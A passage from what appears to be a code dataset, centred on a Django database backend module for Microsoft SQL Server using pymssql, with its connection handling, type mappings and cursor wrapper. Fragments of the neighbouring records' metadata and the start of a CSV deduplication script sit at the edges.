"line_number": 397, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 412, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 413, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 446, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 457, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 457, "usage_type": "attribute"}, {"api_name": "numpy.sort", "line_number": 458, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 462, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 415, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 415, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 415, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 465, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 465, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 465, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 475, "usage_type": "call"}, {"api_name": "os.path", "line_number": 475, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 478, "usage_type": "call"}, {"api_name": "os.path", "line_number": 478, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 482, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 499, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 513, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 513, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 514, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 515, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 515, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 515, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 516, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 517, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 518, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 519, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 519, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 520, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 521, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 522, "usage_type": "name"}]} +{"seq_id": "70046505930", "text": "import os\nimport re\nimport sys\nimport time\nimport warnings\n\nfrom django.core.exceptions import ImproperlyConfigured, ValidationError\nfrom django.core.validators import validate_ipv46_address\n\ntry:\n # import pyodbc as Database\n import pymssql as Database # noqa\nexcept ImportError as e:\n raise ImproperlyConfigured(\"Error loading pyodbc module: %s\" % e)\n\ntry:\n from pymssql._mssql import MSSQLDatabaseException\nexcept ModuleNotFoundError:\n # Error in version 2.1.5 # todo\n MSSQLDatabaseException = Exception\n\nfrom django.utils.version import get_version_tuple # noqa\n\nPYMSSQL_VERSION = tuple(map(int, Database.__version__.split('.')))\nif PYMSSQL_VERSION < (2, 1, 5):\n raise ImproperlyConfigured(\"pymssql 2.1.5 or newer is required; you have %s\" % Database.__version__)\n\nfrom django.conf import settings # noqa\nfrom django.db import NotSupportedError # noqa\nfrom django.db.backends.base.base import BaseDatabaseWrapper # noqa\nfrom django.utils.encoding import smart_str # noqa\nfrom django.utils.functional import cached_property # noqa\n\n\nfrom .client import DatabaseClient # noqa\nfrom .creation import DatabaseCreation # noqa\nfrom .features import DatabaseFeatures # noqa\nfrom .introspection import DatabaseIntrospection # noqa\nfrom .operations import DatabaseOperations # noqa\nfrom .schema import DatabaseSchemaEditor # noqa\n\nEDITION_AZURE_SQL_DB = 5\nauto_field_types = {'AutoField', 'BigAutoField', 'AutoDecimalField'}\n\n\ndef encode_connection_string(fields):\n \"\"\"Encode dictionary of keys and values as an ODBC connection String.\n\n See [MS-ODBCSTR] document:\n https://msdn.microsoft.com/en-us/library/ee208909%28v=sql.105%29.aspx\n \"\"\"\n # As the keys are all provided by us, don't need to encode them as we know\n # they are ok.\n return ';'.join(\n '%s=%s' % (k, encode_value(v))\n for k, v in fields.items()\n )\n\n\ndef encode_value(v):\n \"\"\"If the value contains a semicolon, or starts with a left curly brace,\n then enclose it in curly braces and escape all right curly braces.\n \"\"\"\n if ';' in v or v.strip(' ').startswith('{'):\n return '{%s}' % (v.replace('}', '}}'),)\n return v\n\n\nclass DatabaseWrapper(BaseDatabaseWrapper):\n vendor = 'microsoft'\n display_name = 'SQL Server'\n # This dictionary maps Field objects to their associated MS SQL column\n # types, as strings. Column-type strings can contain format strings; they'll\n # be interpolated against the values of Field.__dict__ before being output.\n # If a column type is set to None, it won't be included in the output.\n data_types = {\n # single # is an addition, # with comment is a possible substitution\n 'AutoDecimalField': 'decimal(%(max_digits)s, %(decimal_places)s)', #\n 'AutoField': 'int', # 'int IDENTITY (1, 1)',\n 'BigAutoField': 'bigint', # 'bigint IDENTITY (1, 1)',\n 'BigIntegerField': 'bigint',\n 'BinaryField': 'varbinary(%(max_length)s)', # 'varbinary(max)',\n 'BooleanField': 'bit',\n 'CharField': 'nvarchar(%(max_length)s)',\n 'CommaSeparatedIntegerField': 'nvarchar(%(max_length)s)', #\n 'DateField': 'date',\n 'DateTimeField': 'datetime2',\n 'DateTimeOffsetField': 'datetimeoffset', #\n 'DecimalField': 'numeric(%(max_digits)s, %(decimal_places)s)', # 'decimal(%(max_digits)s, %(decimal_places)s)',\n 'DurationField': 'bigint',\n 'FileField': 'nvarchar(%(max_length)s)',\n 'FilePathField': 'nvarchar(%(max_length)s)',\n 'FloatField': 'double precision',\n 'IntegerField': 'int',\n 'IPAddressField': 'nvarchar(15)',\n 'LegacyDateField': 'datetime', #\n 'LegacyDateTimeField': 'datetime', #\n 'LegacyTimeField': 'time', #\n 'GenericIPAddressField': 'nvarchar(39)',\n 'JSONField': 'nvarchar(max)',\n 'NCharField': 'nchar(%(max_length)s)', #\n 'NewDateField': 'date', #\n 'NewDateTimeField': 'datetime2', #\n 'NewTimeField': 'time', #\n 'NullBooleanField': 'bit',\n 'OneToOneField': 'int',\n 'PositiveIntegerField': 'int',\n 'PositiveSmallIntegerField': 'smallint',\n 'PositiveBigIntegerField': 'bigint',\n 'SlugField': 'nvarchar(%(max_length)s)',\n 'SmallAutoField': 'smallint',\n 'SmallIntegerField': 'smallint',\n 'TextField': 'nvarchar(max)',\n 'TimeField': 'time',\n 'URLField': 'nvarchar(%(max_length)s)', #\n 'UUIDField': 'char(32)', # uniqueidentifier\n }\n\n data_types_suffix = {\n 'AutoDecimalField': 'IDENTITY (1, 1)', #\n 'AutoField': 'IDENTITY (1, 1)',\n 'BigAutoField': 'IDENTITY (1, 1)',\n 'SmallAutoField': 'IDENTITY (1, 1)',\n }\n data_type_check_constraints = {\n 'JSONField': '(ISJSON (\"%(column)s\") = 1)',\n 'PositiveIntegerField': '[%(column)s] >= 0',\n 'PositiveSmallIntegerField': '[%(column)s] >= 0',\n 'PositiveBigIntegerField': '[%(column)s] >= 0',\n }\n operators = {\n # Since '=' is used not only for string comparision there is no way\n # to make it case (in)sensitive.\n 'exact': '= %s',\n 'iexact': \"= UPPER(%s)\",\n 'contains': \"LIKE %s ESCAPE '\\\\'\",\n 'icontains': \"LIKE UPPER(%s) ESCAPE '\\\\'\",\n 'gt': '> %s',\n 'gte': '>= %s',\n 'lt': '< %s',\n 'lte': '<= %s',\n 'startswith': \"LIKE %s ESCAPE '\\\\'\",\n 'endswith': \"LIKE %s ESCAPE '\\\\'\",\n 'istartswith': \"LIKE UPPER(%s) ESCAPE '\\\\'\",\n 'iendswith': \"LIKE UPPER(%s) ESCAPE '\\\\'\",\n }\n\n # The patterns below are used to generate SQL pattern lookup clauses when\n # the right-hand side of the lookup isn't a raw string (it might be an expression\n # or the result of a bilateral transformation).\n # In those cases, special characters for LIKE operators (e.g. \\, *, _) should be\n # escaped on database side.\n #\n # Note: we use str.format() here for readability as '%' is used as a wildcard for\n # the LIKE operator.\n pattern_esc = r\"REPLACE(REPLACE(REPLACE({}, '\\', '[\\]'), '%%', '[%%]'), '_', '[_]')\"\n pattern_ops = {\n 'contains': \"LIKE '%%' + {} + '%%'\",\n 'icontains': \"LIKE '%%' + UPPER({}) + '%%'\",\n 'startswith': \"LIKE {} + '%%'\",\n 'istartswith': \"LIKE UPPER({}) + '%%'\",\n 'endswith': \"LIKE '%%' + {}\",\n 'iendswith': \"LIKE '%%' + UPPER({})\",\n }\n\n Database = Database\n SchemaEditorClass = DatabaseSchemaEditor\n # Classes instantiated in __init__().\n client_class = DatabaseClient\n creation_class = DatabaseCreation\n features_class = DatabaseFeatures\n introspection_class = DatabaseIntrospection\n ops_class = DatabaseOperations\n\n _codes_for_networkerror = (\n '08S01',\n '08S02',\n )\n _sql_server_versions = {\n 9: 2005,\n 10: 2008,\n 11: 2012,\n 12: 2014,\n 13: 2016,\n 14: 2017,\n 15: 2019,\n }\n\n # https://azure.microsoft.com/en-us/documentation/articles/sql-database-develop-csharp-retry-windows/\n _transient_error_numbers = (\n '4060',\n '10928',\n '10929',\n '40197',\n '40501',\n '40613',\n '49918',\n '49919',\n '49920',\n )\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.is_sql_azure = False\n\n opts = self.settings_dict[\"OPTIONS\"]\n\n # capability for multiple result sets or cursors\n self.supports_mars = False\n\n # Some drivers need unicode encoded as UTF8. If this is left as\n # None, it will be determined based on the driver, namely it'll be\n # False if the driver is a windows driver and True otherwise.\n #\n # However, recent versions of FreeTDS and pyodbc (0.91 and 3.0.6 as\n # of writing) are perfectly okay being fed unicode, which is why\n # this option is configurable.\n if 'driver_needs_utf8' in opts:\n self.driver_charset = 'utf-8'\n else:\n self.driver_charset = opts.get('driver_charset', None)\n\n # interval to wait for recovery from network error\n interval = opts.get('connection_recovery_interval_msec', 0.0)\n self.connection_recovery_interval_msec = float(interval) / 1000\n\n # make lookup operators to be collation-sensitive if needed\n collation = opts.get('collation', None)\n if collation:\n self.operators = dict(self.__class__.operators)\n ops = {}\n for op in self.operators:\n sql = self.operators[op]\n if sql.startswith('LIKE '):\n ops[op] = '%s COLLATE %s' % (sql, collation)\n self.operators.update(ops)\n\n def create_cursor(self, name=None):\n return CursorWrapper(self.connection.cursor(), self)\n\n def _cursor(self):\n new_conn = False\n\n if self.connection is None:\n new_conn = True\n\n conn = super()._cursor()\n if new_conn:\n if self.sql_server_version <= 2005:\n self.data_types['DateField'] = 'datetime'\n self.data_types['DateTimeField'] = 'datetime'\n self.data_types['TimeField'] = 'datetime'\n\n return conn\n\n def get_connection_params(self):\n settings_dict = self.settings_dict\n if settings_dict['NAME'] == '':\n raise ImproperlyConfigured(\n \"settings.DATABASES is improperly configured. \"\n \"Please supply the NAME value.\")\n conn_params = settings_dict.copy()\n if conn_params['NAME'] is None:\n conn_params['NAME'] = 'master'\n return conn_params\n\n def get_new_connection(self, conn_params):\n \"\"\"\n # pymssql connection\n :param conn_params: => {\n 'host': 'localhost',\n 'port': 1433,\n 'database': 'master',\n 'user': 'sa',\n 'password': 'MyPass@word',\n 'timeout': 0,\n 'autocommit': False\n }\n \"\"\"\n database = conn_params['NAME']\n host = conn_params.get('HOST', 'localhost')\n user = conn_params.get('USER', None)\n password = conn_params.get('PASSWORD', None)\n port = conn_params.get('PORT', None)\n trusted_connection = conn_params.get('Trusted_Connection', 'yes')\n\n # validation\n if isinstance(database, str) and database == \"\":\n raise ImproperlyConfigured(\n \"settings.DATABASES is improperly configured. \"\n \"Please supply the NAME value.\")\n if not database:\n raise ImproperlyConfigured(\"You need to specify a DATABASE NAME in your Django settings file.\")\n\n try:\n if host == 'localhost':\n host = '127.0.0.1'\n validate_ipv46_address(host)\n except ValidationError:\n raise ImproperlyConfigured(\"When using DATABASE PORT, DATABASE HOST must be an IP address.\")\n\n try:\n port = int(port)\n except ValueError:\n raise ImproperlyConfigured(\"DATABASE PORT must be a number.\")\n\n options = conn_params.get('OPTIONS', {})\n driver = options.get('driver', 'ODBC Driver 17 for SQL Server')\n dsn = options.get('dsn', None)\n options_extra_params = options.get('extra_params', '')\n\n # Microsoft driver names assumed here are:\n # * SQL Server Native Client 10.0/11.0\n # * ODBC Driver 11/13 for SQL Server\n ms_drivers = re.compile('^ODBC Driver .* for SQL Server$|^SQL Server Native Client')\n\n # available ODBC connection string keywords:\n # (Microsoft drivers for Windows)\n # https://docs.microsoft.com/en-us/sql/relational-databases/native-client/applications/using-connection-string-keywords-with-sql-server-native-client\n # (Microsoft drivers for Linux/Mac)\n # https://docs.microsoft.com/en-us/sql/connect/odbc/linux-mac/connection-string-keywords-and-data-source-names-dsns\n # (FreeTDS)\n # http://www.freetds.org/userguide/odbcconnattr.htm\n cstr_parts = {}\n if dsn:\n cstr_parts['DSN'] = dsn\n else:\n # Only append DRIVER if DATABASE_ODBC_DSN hasn't been set\n cstr_parts['DRIVER'] = driver\n\n if ms_drivers.match(driver):\n if port:\n host = ','.join((host, str(port)))\n cstr_parts['SERVER'] = host\n elif options.get('host_is_server', False):\n if port:\n cstr_parts['PORT'] = port\n cstr_parts['SERVER'] = host\n else:\n cstr_parts['SERVERNAME'] = host\n\n if user:\n cstr_parts['UID'] = user\n if 'Authentication=ActiveDirectoryInteractive' not in options_extra_params:\n cstr_parts['PWD'] = password\n else:\n if ms_drivers.match(driver) and 'Authentication=ActiveDirectoryMsi' not in options_extra_params:\n cstr_parts['Trusted_Connection'] = trusted_connection\n else:\n cstr_parts['Integrated Security'] = 'SSPI'\n\n cstr_parts['DATABASE'] = database\n\n if ms_drivers.match(driver) and os.name == 'nt':\n cstr_parts['MARS_Connection'] = 'yes'\n\n connstr = encode_connection_string(cstr_parts)\n\n # extra_params are glued on the end of the string without encoding,\n # so it's up to the settings writer to make sure they're appropriate -\n # use encode_connection_string if constructing from external input.\n if options.get('extra_params', None):\n connstr += ';' + options['extra_params']\n\n unicode_results = options.get('unicode_results', False)\n timeout = options.get('connection_timeout', 0)\n retries = options.get('connection_retries', 5)\n backoff_time = options.get('connection_retry_backoff_time', 5)\n query_timeout = options.get('query_timeout', 0)\n\n conn = None\n retry_count = 0\n need_to_retry = False\n while conn is None:\n try:\n # diff names\n conn_params['TIMEOUT'] = timeout\n conn_params['PORT'] = int(conn_params['PORT'])\n conn_params['DATABASE'] = conn_params['NAME']\n\n allowed_params = [\n 'HOST', 'PORT', 'DATABASE', 'USER', 'PASSWORD', 'TIMEOUT', 'AUTOCOMMIT'\n ]\n conn_params = {k.lower(): v for k, v in conn_params.items() if k.upper() in allowed_params}\n return Database.connect(**conn_params)\n\n except Exception as conn_error:\n for error_number in self._transient_error_numbers:\n try:\n err_no = conn_error.args[1]\n except IndexError:\n err_no = conn_error.args[0][1].decode()\n\n if error_number in err_no:\n if error_number in err_no and retry_count < retries:\n time.sleep(backoff_time)\n need_to_retry = True\n retry_count = retry_count + 1\n else:\n need_to_retry = False\n break\n if not need_to_retry:\n raise\n\n conn.timeout = query_timeout\n return conn\n\n def init_connection_state(self):\n try:\n int(self._sql_server_version.split('.', 2)[0])\n self.is_sql_azure = bool(self.sql_server_edition in [6, 8, 9, 11])\n except (IndexError, ValueError):\n warnings.warn(\"Unable to determine MSSQL server version.\", DeprecationWarning)\n\n settings_dict = self.settings_dict\n\n with self.temporary_connection() as cursor:\n options = settings_dict.get('OPTIONS', {})\n isolation_level = options.get('isolation_level', None)\n if isolation_level:\n cursor.execute('SET TRANSACTION ISOLATION LEVEL %s' % isolation_level)\n\n # Set date format for the connection. Also, make sure Sunday is\n # considered the first day of the week (to be consistent with the\n # Django convention for the 'week_day' Django lookup) if the user\n # hasn't told us otherwise\n datefirst = options.get('datefirst', 7)\n cursor.execute('SET DATEFORMAT ymd; SET DATEFIRST %s' % datefirst)\n\n val = self.get_system_datetime()\n if isinstance(val, str):\n raise ImproperlyConfigured(\"The database driver doesn't support modern datatime types.\")\n\n def row_decode_all(self, row):\n new_row = []\n for r in row:\n try:\n str_r = r.decode('utf-8')\n if len(r) in [1, 2, 4, 8] and not str_r.isprintable():\n new_row.append(self.row_decode_int(r))\n else:\n new_row.append(str_r)\n except (UnicodeDecodeError, AttributeError):\n new_row.append(self.row_decode_int(r))\n\n return new_row\n\n @staticmethod\n def row_decode_str(row):\n if isinstance(row, bytes):\n try:\n return row.decode('utf-8')\n except UnicodeDecodeError:\n pass\n return row\n\n @staticmethod\n def row_decode_int(row, byteorder=sys.byteorder, signed=False):\n if isinstance(row, bytes):\n try:\n return int.from_bytes(bytes=row, byteorder=byteorder, signed=signed)\n except UnicodeDecodeError:\n pass\n return row\n\n @cached_property\n def sql_server_data(self):\n with self.temporary_connection() as cursor:\n # Other @@VERSION, SYSDATETIME()\n server_properties = [\n \"BuildClrVersion\", \"Collation\", \"CollationID\", \"ComparisonStyle\", \"ComputerNamePhysicalNetBIOS\",\n \"Edition\", \"EditionID\", \"EngineEdition\", \"InstanceName\", \"IsClustered\", \"IsFullTextInstalled\",\n \"IsIntegratedSecurityOnly\", \"IsSingleUser\", \"LCID\", \"LicenseType\", \"MachineName\", \"NumLicenses\",\n \"ProcessID\", \"ProductVersion\", \"ProductLevel\", \"ResourceLastUpdateDateTime\", \"ResourceVersion\",\n \"ServerName\", \"SqlCharSet\", \"SqlCharSetName\", \"SqlSortOrder\", \"SqlSortOrderName\", \"FilestreamShareName\",\n \"FilestreamConfiguredLevel\", \"FilestreamEffectiveLevel\"\n ]\n result = \"\"\n for s in server_properties:\n result += f\"SERVERPROPERTY('{s}'), \" # noqa\n\n cursor.execute(f\"\"\"SELECT {result[:-2]}\"\"\") # [:-2] remove last comma and space\n row = cursor.fetchone()\n row = self.row_decode_all(row=row)\n return {s: row[num] for num, s in enumerate(server_properties)}\n\n @cached_property\n def _sql_server_version(self):\n \"\"\"-- '15.0.2000'\"\"\"\n return self.sql_server_data['ProductVersion']\n\n @cached_property\n def sql_server_clr(self):\n \"\"\"-- 'v4.0.30319'\"\"\"\n return self.sql_server_data['BuildClrVersion']\n\n @cached_property\n def sql_server_level(self):\n \"\"\"-- 'RTM'\"\"\"\n return self.sql_server_data['ProductLevel']\n\n @cached_property\n def sql_server_edition_id(self):\n \"\"\"-- 9\"\"\"\n return self.sql_server_data['EditionID']\n\n @cached_property\n def sql_server_edition(self):\n \"\"\"-- 'Azure SQL Edge Developer (64-bit)'\"\"\"\n return self.sql_server_data['EngineEdition']\n\n def is_usable(self):\n try:\n self.create_cursor().execute(\"SELECT 1\")\n except Database.Error:\n return False\n else:\n return True\n\n def get_system_datetime(self):\n # http://blogs.msdn.com/b/sqlnativeclient/archive/2008/02/27/microsoft-sql-server-native-client-and-microsoft-sql-server-2008-native-client.aspx\n with self.temporary_connection() as cursor:\n if self.sql_server_version <= 2005:\n cursor.execute('SELECT GETDATE()')\n return cursor.fetchone()[0]\n else:\n cursor.execute('SELECT SYSDATETIME()')\n return cursor.fetchone()[0]\n\n @cached_property\n def sql_server_version(self, _known_versions=None):\n \"\"\"\n Get the SQL server version\n\n The _known_versions default dictionary is created on the class. This is\n intentional - it allows us to cache this property's value across instances.\n Therefore, when Django creates a new database connection using the same\n alias, we won't need query the server again.\n \"\"\"\n if _known_versions is None:\n _known_versions = {}\n if self.alias not in _known_versions:\n with self.temporary_connection() as cursor:\n cursor.execute(\"SELECT CAST(SERVERPROPERTY('ProductVersion') AS varchar)\")\n ver = cursor.fetchone()[0]\n ver = int(ver.split('.')[0])\n if ver not in self._sql_server_versions:\n raise NotSupportedError('SQL Server v%d is not supported.' % ver)\n _known_versions[self.alias] = self._sql_server_versions[ver]\n return _known_versions[self.alias]\n\n @cached_property\n def to_azure_sql_db(self, _known_azures=None):\n \"\"\"\n Whether this connection is to a Microsoft Azure database server\n\n The _known_azures default dictionary is created on the class. This is\n intentional - it allows us to cache this property's value across instances.\n Therefore, when Django creates a new database connection using the same\n alias, we won't need query the server again.\n \"\"\"\n if _known_azures is None:\n _known_azures = {}\n if self.alias not in _known_azures:\n with self.temporary_connection() as cursor:\n cursor.execute(\"SELECT CAST(SERVERPROPERTY('EngineEdition') AS integer)\")\n _known_azures[self.alias] = cursor.fetchone()[0] == EDITION_AZURE_SQL_DB\n return _known_azures[self.alias]\n\n def _execute_foreach(self, sql, table_names=None):\n cursor = self.cursor()\n if table_names is None:\n table_names = self.introspection.table_names(cursor)\n for table_name in table_names:\n cursor.execute(sql % self.ops.quote_name(table_name))\n\n def _get_trancount(self):\n with self.connection.cursor() as cursor:\n cursor.execute('SELECT @@TRANCOUNT')\n return cursor.fetchone()[0]\n\n def _on_error(self, e):\n if e.args[0] in self._codes_for_networkerror:\n try:\n # close the stale connection\n self.close()\n # wait a moment for recovery from network error\n time.sleep(self.connection_recovery_interval_msec)\n except Exception:\n pass\n self.connection = None\n\n def _savepoint(self, sid):\n with self.cursor() as cursor:\n cursor.execute('SELECT @@TRANCOUNT')\n trancount = cursor.fetchone()[0]\n if trancount == 0:\n cursor.execute(self.ops.start_transaction_sql())\n cursor.execute(self.ops.savepoint_create_sql(sid))\n\n def _savepoint_commit(self, sid):\n \"\"\"\n SQL Server has no support for partial commit in a transaction\n The ANSI standard syntax is SAVEPOINT , ROLLBACK TO SAVEPOINT , and RELEASE SAVEPOINT.\n SQL Server has a different syntax and no \"RELEASE\".\n \"\"\"\n pass\n\n def _savepoint_rollback(self, sid):\n with self.cursor() as cursor:\n # FreeTDS requires TRANCOUNT that is greater than 0\n cursor.execute('SELECT @@TRANCOUNT')\n trancount = cursor.fetchone()[0]\n if trancount > 0:\n cursor.execute(self.ops.savepoint_rollback_sql(sid))\n\n def _set_autocommit(self, autocommit):\n with self.wrap_database_errors:\n allowed = not autocommit\n if not allowed:\n # FreeTDS requires TRANCOUNT that is greater than 0\n allowed = self._get_trancount() > 0\n if allowed:\n try:\n self.connection.autocommit = autocommit\n except AttributeError:\n pass\n\n def check_constraints(self, table_names=None):\n self._execute_foreach('ALTER TABLE %s WITH CHECK CHECK CONSTRAINT ALL',\n table_names)\n\n def disable_constraint_checking(self):\n if not self.needs_rollback:\n self._execute_foreach('ALTER TABLE %s NOCHECK CONSTRAINT ALL')\n return not self.needs_rollback\n\n def enable_constraint_checking(self):\n if not self.needs_rollback:\n self._execute_foreach('ALTER TABLE %s WITH NOCHECK CHECK CONSTRAINT ALL')\n\n\nclass CursorWrapper(object):\n \"\"\"\n A wrapper around the pymssql cursor that takes in account a) some pymssql\n DB-API 2.0 implementation and b) some common FreeTDS driver particularities.\n \"\"\"\n\n def __init__(self, cursor, connection):\n self.active = True\n self.cursor = cursor\n self.connection = connection\n self.driver_charset = connection.driver_charset\n self.last_sql = ''\n self.last_params = ()\n\n def close(self):\n if self.active:\n self.active = False\n self.cursor.close()\n\n def format_sql2(self, sql, params):\n if self.driver_charset and isinstance(sql, str):\n # FreeTDS (and other ODBC drivers?) doesn't support Unicode\n # yet, so we need to encode the SQL clause itself in utf-8\n sql = smart_str(sql, self.driver_charset)\n\n # pyodbc uses '?' instead of '%s' as parameter placeholder.\n if params is not None:\n sql = sql % tuple('?' * len(params))\n\n return sql\n\n @staticmethod\n def format_sql(query, params):\n # For Django's inspectdb tests -- a model has a non-ASCII column name.\n if not isinstance(query, str):\n query = query.encode('utf-8')\n # For Django's backends and expressions_regress tests.\n query = query.replace('%%', '%')\n return query\n\n def format_params(self, params):\n fp = []\n if params is not None:\n for p in params:\n if isinstance(p, str):\n if self.driver_charset:\n # FreeTDS (and other ODBC drivers?) doesn't support Unicode\n # yet, so we need to encode parameters in utf-8\n fp.append(smart_str(p, self.driver_charset))\n else:\n fp.append(p)\n\n elif isinstance(p, bytes):\n fp.append(p)\n\n elif isinstance(p, type(True)):\n if p:\n fp.append(1)\n else:\n fp.append(0)\n\n else:\n fp.append(p)\n\n return tuple(fp)\n\n def execute(self, sql, params=None):\n self.last_sql = sql\n sql = self.format_sql(sql, params)\n params = self.format_params(params)\n self.last_params = params\n try:\n # sql = sql.replace('SET NOCOUNT ON', \"\")\n # if 'SET NOCOUNT ON INSERT INTO [testapp_testuniquenullablemodel] ([test_field],' in sql:\n # print()\n return self.cursor.execute(sql, params)\n except (Database.Error, Database.ProgrammingError, MSSQLDatabaseException) as e:\n # if e.args[0] in [1801, 2714, 1913]: # silent codes\n # return\n # print(f\"ERROR_EXECUTE: {e}\\nQUERY: {sql}\\nPARAMS: {params}\")\n self.connection._on_error(e)\n raise\n\n def executemany(self, sql, params_list=()):\n if not params_list:\n return None\n raw_pll = [p for p in params_list]\n sql = self.format_sql(sql, raw_pll[0])\n params_list = [self.format_params(p) for p in raw_pll]\n try:\n return self.cursor.executemany(sql, params_list)\n except Database.Error as e:\n self.connection._on_error(e)\n raise\n\n def format_rows(self, rows):\n return list(map(self.format_row, rows))\n\n def format_row(self, row):\n \"\"\"\n Decode data coming from the database if needed and convert rows to tuples\n (pyodbc Rows are not hashable).\n \"\"\"\n if self.driver_charset:\n for i in range(len(row)):\n f = row[i]\n # FreeTDS (and other ODBC drivers?) doesn't support Unicode\n # yet, so we need to decode utf-8 data coming from the DB\n if isinstance(f, bytes):\n row[i] = f.decode(self.driver_charset)\n return tuple(row)\n\n def fetchone(self):\n row = self.cursor.fetchone()\n if row is not None:\n row = self.format_row(row)\n # Any remaining rows in the current set must be discarded\n # before changing autocommit mode when you use FreeTDS\n if not self.connection.supports_mars:\n self.cursor.nextset()\n return row\n\n def fetchmany(self, chunk):\n return self.format_rows(self.cursor.fetchmany(chunk))\n\n def fetchall(self):\n return self.format_rows(self.cursor.fetchall())\n\n def __getattr__(self, attr):\n if attr in self.__dict__:\n return self.__dict__[attr]\n return getattr(self.cursor, attr)\n\n def __iter__(self):\n return iter(self.cursor)\n", "repo_name": "tede12/django-mssql-arm", "sub_path": "mssql_arm/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 29666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 14, "usage_type": "call"}, {"api_name": "pymssql._mssql.MSSQLDatabaseException", "line_number": 20, "usage_type": "name"}, {"api_name": "pymssql.__version__.split", "line_number": 24, "usage_type": "call"}, {"api_name": "pymssql.__version__", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 26, "usage_type": "call"}, {"api_name": "pymssql.__version__", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.db.backends.base.base.BaseDatabaseWrapper", "line_number": 69, "usage_type": "name"}, {"api_name": "schema.DatabaseSchemaEditor", "line_number": 167, "usage_type": "name"}, {"api_name": "client.DatabaseClient", "line_number": 169, "usage_type": "name"}, {"api_name": "creation.DatabaseCreation", "line_number": 170, "usage_type": "name"}, {"api_name": "features.DatabaseFeatures", "line_number": 171, "usage_type": "name"}, {"api_name": "introspection.DatabaseIntrospection", "line_number": 172, "usage_type": "name"}, {"api_name": "operations.DatabaseOperations", "line_number": 173, "usage_type": "name"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 259, "usage_type": "call"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 289, "usage_type": "call"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 293, "usage_type": "call"}, {"api_name": "django.core.validators.validate_ipv46_address", "line_number": 298, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 299, "usage_type": "name"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 300, "usage_type": "call"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 305, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 315, "usage_type": "call"}, {"api_name": "os.name", "line_number": 354, "usage_type": "attribute"}, {"api_name": "pymssql.connect", "line_number": 385, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 396, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 413, "usage_type": "call"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 432, "usage_type": "call"}, {"api_name": "sys.byteorder", "line_number": 458, "usage_type": "attribute"}, {"api_name": "django.utils.functional.cached_property", "line_number": 466, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 487, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 492, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 497, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 502, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 507, "usage_type": "name"}, {"api_name": "pymssql.Error", "line_number": 515, "usage_type": "attribute"}, {"api_name": "django.db.NotSupportedError", "line_number": 548, "usage_type": "call"}, {"api_name": "django.utils.functional.cached_property", "line_number": 530, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 552, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 588, "usage_type": "call"}, {"api_name": "django.utils.encoding.smart_str", "line_number": 666, "usage_type": "call"}, {"api_name": "django.utils.encoding.smart_str", "line_number": 691, "usage_type": "call"}, {"api_name": "pymssql.Error", "line_number": 719, "usage_type": "attribute"}, {"api_name": "pymssql.ProgrammingError", "line_number": 719, "usage_type": "attribute"}, {"api_name": "pymssql._mssql.MSSQLDatabaseException", "line_number": 719, "usage_type": "name"}, {"api_name": "pymssql.Error", "line_number": 734, "usage_type": "attribute"}]} +{"seq_id": "24344443613", "text": "\"\"\" \nColiminator - The CSV duplicate column eliminator\nAuthor - Dedipyaman Das (https://github.com/2dsharp)\n\"\"\"\nimport csv\nfrom collections import OrderedDict\nimport argparse\n\ndef removeDuplicate(row, output_file) :\n new_list = list(OrderedDict.fromkeys(row))\n with open(output_file, 'ab') as f:\n writer = csv.writer(f)\n writer.writerow(new_list)\n\nparser = 